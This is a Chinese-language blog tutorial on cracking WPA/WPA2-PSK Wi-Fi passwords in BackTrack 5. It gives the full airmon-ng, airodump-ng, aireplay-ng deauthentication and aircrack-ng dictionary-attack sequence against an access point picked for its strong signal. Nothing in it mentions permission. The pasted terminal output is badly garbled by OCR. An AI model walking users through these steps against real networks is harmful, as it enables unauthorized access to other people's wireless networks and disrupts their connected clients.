BackTrack5(BT5)無線密碼破解教程之WPAWPA2PSK型無線密碼破解

1、昨天發(fā)布了BackTrack5（BT5）無線wep密碼破解教程之minidwep-gtk破解法一文，對BT5下破解wep無線密碼的簡單方法做了介紹，今天奶牛為朋友們介紹下如何在bt5下破解wpawpa2類型的無線密碼。前提：安裝或者硬盤引導(dǎo)了BT5的gnome32位鏡像，可以參看奶牛的文章BackTrack5硬盤引導(dǎo)+BT5硬盤安裝全教程雖然人們都說wpa的密碼難破解，其實，嗯，確實是這樣子，不僅僅靠技術(shù)，還要靠運氣，這里就要用到一個強大的字典咯，木有一個好字典，破解密碼灰常困難的說。好了，不賣關(guān)子了，說方法：1.打開BT5的Wiednetworkmanager，在application下的i

2、nternet中。選擇一個新號較好的AP（那樣子用起來才爽嘛）。然后看它的properties，打開properties以后繼續(xù)打開里面的屬性看看這個AP的mac地址跟channel。2.ifconfig看看自己的無線網(wǎng)卡的名稱，一般是wlanO或者wifiO,后文中根據(jù)實際情況執(zhí)行命令。開啟無線監(jiān)控airmon-ngstartwlanO6注:wlan0為你的無線設(shè)備名稱6為你要開啟的信道（但是這里的6其實并沒有那么重要的說）這一步你可能會看到提示有XXXXXXXX進程影響，沒關(guān)系，killXXXXXXXXX為給出的進程號，然后重新執(zhí)行上句直到不報錯因為我們已經(jīng)選擇好了目標，我們就直奔目標AP

3、，開始用BT5對其進行監(jiān)控airodump-ng-wnenew-c4-bssidAPsMACmon0這時候你應(yīng)該可以看到如下圖示：CH1Elapsed:46S12911-05-17101-54BS5IDPWRRXQBeacons#DatarCHMBENCCIPHERAUTHESSIDDB:5D:4C:4C:A6:2A81340234-51陰.WPA2CCMPPSKLos-tPacketsProbesD8:5D:4C:4CA6:：2A弋AC:81:12:3:243F95+-1581D6:4CAO:SF:hA:陽:E_5C4-154-908:5D14C:4CAG:.2A78:E4:：90!:B7:

4、5C8754-09DB;5D:4C;4C胚;2A00:23:76;0A;2B:D1-77Q59DB;5D;4C;4C嗣;2A5C:AC;4C;35;3C;8B-7854-119BSSIDSTATIONP冊Rat巳3171612L252根據(jù)上圖，我們可以找到四個Client客戶端的MAC地址，從里面隨便選個（最好選擇活躍點兒的）。打開一個新的終端，上一個終端不要關(guān)閉，后面還需要用到。在新終端中輸入：aireplay-ng-O1O-aAPsMAC-cCPsMACmonO執(zhí)行一次看第一個終端中是否出現(xiàn)了下圖所示的標志W(wǎng)APHandshake。如果出現(xiàn)了，那么恭喜，你離成功已經(jīng)不遠了。如果沒有出現(xiàn)就繼

5、續(xù)重復(fù)5的命令就ok了，直到出現(xiàn)握手。CH1Elapsed:445.2611-65-17ie：.54VTPAhandshake：_一_8：5D:4C:4C:A0;2ABSSIDPWF:RXQBeacons#Data,#/sCKMBENCCIPHERAUTHESSIDDB:5D:4C:4C:A0;2A6I539223708154-WPA2CCMPPSKB55IDSTATIONPV/RR.ateLostPacketsProbesD8:5D:4C：41A6:2A8S:?F:FA:A3：E5:C4-154-Q03D8:5Di4C:4C:A0;2A7B:E4：ee；B7;SC;87-B254-10136

6、D8:5D:4C:4C:A0;2AAC:ei：i2；3D;24;3F-735斗-5419535088:5D：4C:4C：A0:2AQQ:23:76:BA:2B:DI-77Q-502D8:5D:C:4C：A0:2A5C：AC:4C:35:3C:8B-7854-1055對BT5握手抓到的包進行破解工作aircrack-ng-wpassword.txt-bAPsMACnenew.cap其中的password.txt為我們需要預(yù)置的字典文件，字典文件網(wǎng)上很多，搜搜就有了。奶牛也會放出自己的一些字典文件提供下載，繼續(xù)關(guān)注咯。最后上成果圖76366EEAAlrcrack-ng1.1rl899eG：S9：ee16keysteri(325,12V呀27眺A56C7B8579&40EABC92keyfouudIametesMasterKef:6FF4974374An.183775B7C97F7871IBFilaU西QEA4EETransientKey:FDB227DB7KBE5345333216A754A309B